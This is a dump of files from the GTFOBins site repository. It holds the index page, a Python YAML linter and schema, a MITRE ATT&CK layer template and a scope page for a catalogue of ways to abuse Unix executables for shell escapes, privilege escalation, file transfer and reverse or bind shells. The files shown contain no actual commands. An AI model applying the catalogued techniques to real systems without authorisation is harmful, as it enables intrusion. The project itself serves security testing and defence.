$logo-backdrop;\n}\n\n.small {\n    font-size: $small-font-size;\n}\n\n.centered {\n    text-align: center;\n}\n\nsvg.github-corner {\n    fill: $foreground;\n    color: $background;\n}\n"
  },
  {
    "path": "index.md",
    "content": "---\nlayout: page\ntitle: GTFOBins\ndescription: GTFOBins is a curated list of Unix-like executables that can be used to bypass local security restrictions in misconfigured systems.\n---\n\n![GTFOBins logo]({{ '/assets/logo.png' | relative_url }}){:.logo}\n\n{{ page.description }}\n\nThe project [collects]({{ '/scope/' | relative_url }}) legitimate functions of Unix-like executables that can be abused to ~~get the f**k~~ break out restricted shells, escalate or maintain elevated privileges, transfer files, spawn bind and reverse shells, and facilitate other post-exploitation tasks.\n\nGTFOBins is a joint effort by [Emilio Pinna][norbemi] and [Andrea Cardaci][cyrus_and], and many other [contributors][]. Everyone can [get involved]({{ '/contributing/' | relative_url }}) by providing additional entries and techniques!\n\nIf you are looking for Windows binaries you should visit [LOLBAS][].\n\n> Please note that this is **not** a list of exploits, and the programs listed here are not vulnerable per se, rather, GTFOBins is a compendium about how to live off the land when you only have certain executables available.\n\n[GitHub][]\n|\n[Get involved]({{ '/contributing/' | relative_url }})\n|\n[Contributors][contributors]\n|\n[JSON API]({{ '/api.json' | relative_url }})\n|\n[MITRE ATT&CK® Navigator](https://mitre-attack.github.io/attack-navigator/#layerURL={{ '/mitre.json' | absolute_url }})\n{:.centered}\n\n[contributors]: https://github.com/GTFOBins/GTFOBins.github.io/graphs/contributors\n[norbemi]: https://x.com/norbemi\n[cyrus_and]: https://x.com/cyrus_and\n[LOLBAS]: https://lolbas-project.github.io/\n[GitHub]: https://github.com/GTFOBins/GTFOBins.github.io\n\n<div>{%- include gtfobins_table.html -%}</div>\n"
  },
  {
    "path": "linter/__main__.py",
    "content": "from . import linter\n\nimport argparse\nimport os\nimport re\nimport sys\n\n\ndef report_fail(name, error):\n    print(f'\\x1b[31;1mFAIL\\x1b[0m {name}')\n    print(f'   - {error}')\n\n\ndef report_pass(name):\n    print(f'\\x1b[32;1mPASS\\x1b[0m {name}')\n\n\ndef run(check_only, verbose):\n    # move into the GTFOBins directory\n    os.chdir('_gtfobins')\n\n    # process all the entries\n    for name in sorted(os.listdir()):\n        # check for old-version files\n        if re.search(r'\\.(md|yaml|yml)$', name):\n            report_fail(name, 'entries must have no extension')\n            return False\n\n        # check linter errors\n        if error := linter.lint(name, check_only):\n            report_fail(name, error)\n            return False\n\n        # otherwise pass\n        if verbose:\n            report_pass(name)\n\n    return True\n\n\ndef main():\n    # parse argumenst\n    parser = argparse.ArgumentParser()\n    parser.add_argument('-c', '--check-only', action='store_true')\n    parser.add_argument('-v', '--verbose', action='store_true')\n    args = parser.parse_args()\n\n    # start!\n    sys.exit(not run(**vars(args)))\n\n\nmain()\n"
  },
  {
    "path": "linter/dumper.py",
    "content": "from .error import LinterError\n\nimport yaml\n\n\nclass _Dumper(yaml.SafeDumper):\n    pass\n\n\n# use pipe style for certain string fields\n\n\nclass _BlockString(str):\n    pass\n\n\ndef _block_string_representer(dumper, data):\n    return dumper.represent_scalar('tag:yaml.org,2002:str', data, style='|')\n\n\n_Dumper.add_representer(_BlockString, _block_string_representer)\n\n\ndef _ensure_block_style(o):\n    match o:\n        case dict():\n            return {\n                k: (_BlockString(v) if k in ('code', 'comment', 'version') else _ensure_block_style(v))\n                for k, v in o.items()\n            }\n\n        case list():\n            return [\n                _ensure_block_style(v) for v in o\n            ]\n\n        case _:\n            return o\n\n\n# omit explicit null\n\n\ndef _none_representer(dumper, _):\n    return dumper.represent_scalar('tag:yaml.org,2002:null', '')\n\n\n_Dumper.add_representer(type(None), _none_representer)\n\n\n###\n\n\ndef dump(text, data, path, check_only):\n    # serialize the data object\n    data = _ensure_block_style(data)\n    formatted = yaml.dump(data, Dumper=_Dumper, explicit_start=True, explicit_end=True)\n\n    # if not properly formatted\n    if formatted != text:\n        if check_only:\n            # report error\n            raise LinterError('schema OK but invalid format, please run the formatter')\n        else:\n            # write the formatted file\n            with open(path, 'w') as fs:\n                fs.write(formatted)\n"
  },
  {
    "path": "linter/error.py",
    "content": "class LinterError(BaseException):\n    ...\n"
  },
  {
    "path": "linter/linter.py",
    "content": "from . import dumper\nfrom . import loader\nfrom . import schema\nfrom .error import LinterError\n\n\ndef lint(path, check_only):\n    try:\n        # load the YAML file\n        text, data = loader.load(path)\n\n        # validate the content\n        schema.validate(data)\n\n        # save or check the formatted YAML file\n        dumper.dump(text, data, path, check_only)\n    except LinterError as e:\n        return str(e)\n"
  },
  {
    "path": "linter/loader.py",
    "content": "from .error import LinterError\n\nimport yaml\n\n\ndef load(path):\n    # try to load the YAML file reporting parsing errors\n    try:\n        with open(path, 'r') as fs:\n            text = fs.read()\n            data = yaml.safe_load(text)\n            return text, data\n    except yaml.YAMLError as e:\n        raise LinterError(f'{e.problem} at line {e.problem_mark.line}')\n"
  },
  {
    "path": "linter/requirements.txt",
    "content": "pyyaml ~= 6.0.3\nschema ~= 0.7.8\n"
  },
  {
    "path": "linter/schema.py",
    "content": "from .error import LinterError\n\nfrom pathlib import Path\nimport schema\nimport yaml\n\n\ndef _string(x):\n    if isinstance(x, str) and x == x.strip() and len(x) > 0:\n        return True\n    else:\n        raise schema.SchemaError(f'{x!r} should be a non-empty space-trimmed string')\n\n\ndef _check_code_coherence(example):\n    has_code = bool(example.get('code'))\n    all_contexts_have_code = all(\n        context and context.get('code')\n        for context in example.get('contexts', {}).values()\n    )\n    if has_code != all_contexts_have_code:\n        return True\n    else:\n        raise schema.SchemaError(f'{example!r} should provide the code')\n\n\ndef _context(name, per_context_schema):\n    return {\n        schema.Optional(name): schema.Or(None, {\n            schema.Optional('code'): _string,\n            schema.Optional('comment'): _string,\n            **per_context_schema,\n        })\n    }\n\n\ndef _gtfobin(name):\n    if name in _gtfobins:\n        return True\n    else:\n        raise schema.SchemaError(f'{name!r} does not exist')\n\n\ndef _function(name, per_function_schema):\n    return {\n        schema.Optional(name): schema.And(len, [\n            schema.And({\n                schema.Optional('code'): _string,\n                schema.Optional('comment'): _string,\n                schema.Optional('version'): schema.Or(_string, int, float),\n                schema.Optional('mitre'): [\n                    schema.Regex(r'^T[0-9]+$'),\n                ],\n                **per_function_schema,\n                'contexts': {\n                    **_context('unprivileged', {\n                    }),\n                    **_context('sudo', {\n                    }),\n                    **_context('suid', {\n                        schema.Optional('shell'): bool,\n                    }),\n                    **_context('capabilities', {\n                        schema.Optional('list'): schema.And(len, [\n                            schema.Regex(r'^CAP_[A-Z_]+$'),\n                        ]),\n                    }),\n                }\n            }, _check_code_coherence),\n        ]),\n    }\n\n\n_root = Path(__file__).parent / '..'\n_functions = yaml.safe_load((_root / '_data' / 'functions.yml').read_text());\n_gtfobins = {file.name for file in (_root / '_gtfobins').iterdir()}\n\n\n_additional_example = {\n    schema.Or('code', 'comment'): _string,\n}\n\n\n_binary = {\n    schema.Optional('binary'): bool,\n}\n\n\n_blind = {\n    schema.Optional('blind'): bool,\n}\n\n\n_tty = {\n    schema.Optional('tty'): bool,\n}\n\n\n_listener = {\n    schema.Optional('listener'): schema.Or(\n        _additional_example,\n        *_functions['reverse-shell']['extra']['listener'].keys(),\n    )\n}\n\n\n_connector = {\n    schema.Optional('connector'): schema.Or(\n        _additional_example,\n        *_functions['bind-shell']['extra']['connector'].keys(),\n    )\n}\n\n\n_receiver = {\n    schema.Optional('receiver'): schema.Or(\n        _additional_example,\n        *_functions['upload']['extra']['receiver'].keys(),\n    )\n}\n\n\n_sender = {\n    schema.Optional('sender'): schema.Or(\n        _additional_example,\n        *_functions['download']['extra']['sender'].keys(),\n    )\n}\n\n\n_SCHEMA = schema.Or(\n    {\n        'alias': _string,\n    },\n    {\n        schema.Optional('comment'): _string,\n        'functions': schema.And(len, {\n            **_function('shell', {\n                **_tty,\n                **_blind,\n            }),\n            **_function('command', {\n                **_blind,\n            }),\n            **_function('reverse-shell', {\n                **_tty,\n                **_blind,\n                **_listener,\n            }),\n            **_function('bind-shell', {\n                **_tty,\n                **_blind,\n                **_connector,\n            }),\n            **_function('file-write', {\n                **_binary,\n            }),\n            **_function('file-read', {\n                **_binary,\n            }),\n            **_function('upload', {\n                **_binary,\n                **_receiver,\n            }),\n            **_function('download', {\n                **_binary,\n                **_sender,\n            }),\n            **_function('library-load', {\n            }),\n            **_function('privilege-escalation', {\n            }),\n            **_function('inherit', {\n                'from': _gtfobin,\n            }),\n        }),\n    }\n)\n\ndef validate(data):\n    try:\n        _SCHEMA.validate(data)\n    except schema.SchemaError as e:\n        raise LinterError(str(e.autos[-1]))\n"
  },
  {
    "path": "mitre.json",
    "content": "---\n---\n{%- comment -%}capture the entries that have MITRE ids assigned {%- endcomment -%}\n{%- assign techniques = '' | split: '' -%}\n{%- for gtfobin in site.gtfobins -%}\n    {%- capture name -%}{%- include get_gtfobin_name.html path=gtfobin.path -%}{%- endcapture -%}\n    {%- for function_item in gtfobin.functions -%}\n        {%- assign function_name = function_item[0] -%}\n        {%- assign function = function_item[1] -%}\n        {%- for example in function -%}\n            {%- assign mitre = example.mitre | default: site.data.functions[function_name].mitre -%}\n            {%- for technique in mitre -%}\n                {%- capture item -%}{{ technique }},{{ name }},{{ function_name }},{{ gtfobin.url | absolute_url }}{%- endcapture -%}\n                {%- assign item = item | split: ',' -%}\n                {%- assign techniques = techniques | push: item -%}\n            {%- endfor -%}\n        {%- endfor -%}\n    {%- endfor -%}\n{%- endfor -%}\n{\n    \"name\": {{ site.title | jsonify }},\n    \"versions\": {\n        \"attack\": \"18\",\n        \"navigator\": \"5.2.0\",\n        \"layer\": \"4.5\"\n    },\n    \"links\": [\n        {\n            \"label\": \"GTFOBins\",\n            \"url\": {{ '/' | absolute_url | jsonify }}\n        }\n    ],\n    \"layout\": {\n        \"expandedSubtechniques\": \"annotated\"\n    },\n    \"domain\": \"enterprise-attack\",\n    \"filters\": {\n        \"platforms\": [\n            \"Linux\",\n            \"macOS\"\n        ]\n    },\n    \"showTacticRowBackground\": true,\n    \"tacticRowBackground\": \"#bf0707\",\n    \"techniques\": [\n        {%- assign techniques = techniques | group_by_exp: \"item\", \"item[0]\" -%}\n        {%- for group in techniques -%}\n            {%- assign technique = group.name -%}\n            {%- assign gtfobins = '' | split: '' -%}\n            {%- for item in group.items -%}\n                {%- capture fields -%},{{ item[1] }},{{ item[2] }},{{ item[3] }}{%- endcapture -%}\n                {%- assign gtfobins = gtfobins | push: fields -%}\n            {%- endfor -%}\n            {\n                \"techniqueID\": {{ technique | jsonify }},\n                \"links\": [\n                    {%- assign gtfobins = gtfobins | uniq -%}\n                    {%- for gtfobin in gtfobins -%}\n                        {%- assign fields = gtfobin | split: ',' -%}\n                        {\n                            \"label\": {{ fields[1] | jsonify }},\n                            \"url\": {{ fields[3] | append: '#' | append: fields[2] | jsonify }}\n                        }\n                        {%- unless forloop.last -%},{%- endunless -%}\n                    {%- endfor -%}\n                ]\n            }\n            {%- unless forloop.last -%},{%- endunless -%}\n        {%- endfor -%}\n    ]\n}\n"
  },
  {
    "path": "scope.md",
    "content": "---\nlayout: page\ntitle: Scope\ndescription: Functions and contexts of the GTFOBins executables.\n---\n\nAn executable may support one or more [function](#functions) by providing a number of *examples* for their use, each example may support a number of [contexts](#contexts) that determine the ability of that example to work in that particular condition.\n\n## Functions\n\n<div>{%- include description_table.html label='Function' objects=site.data.functions -%}</div>\n\n## Contexts\n\n<div>{%- include description_table.html label='Context' objects=site.data.contexts -%}</div>\n"
  }
]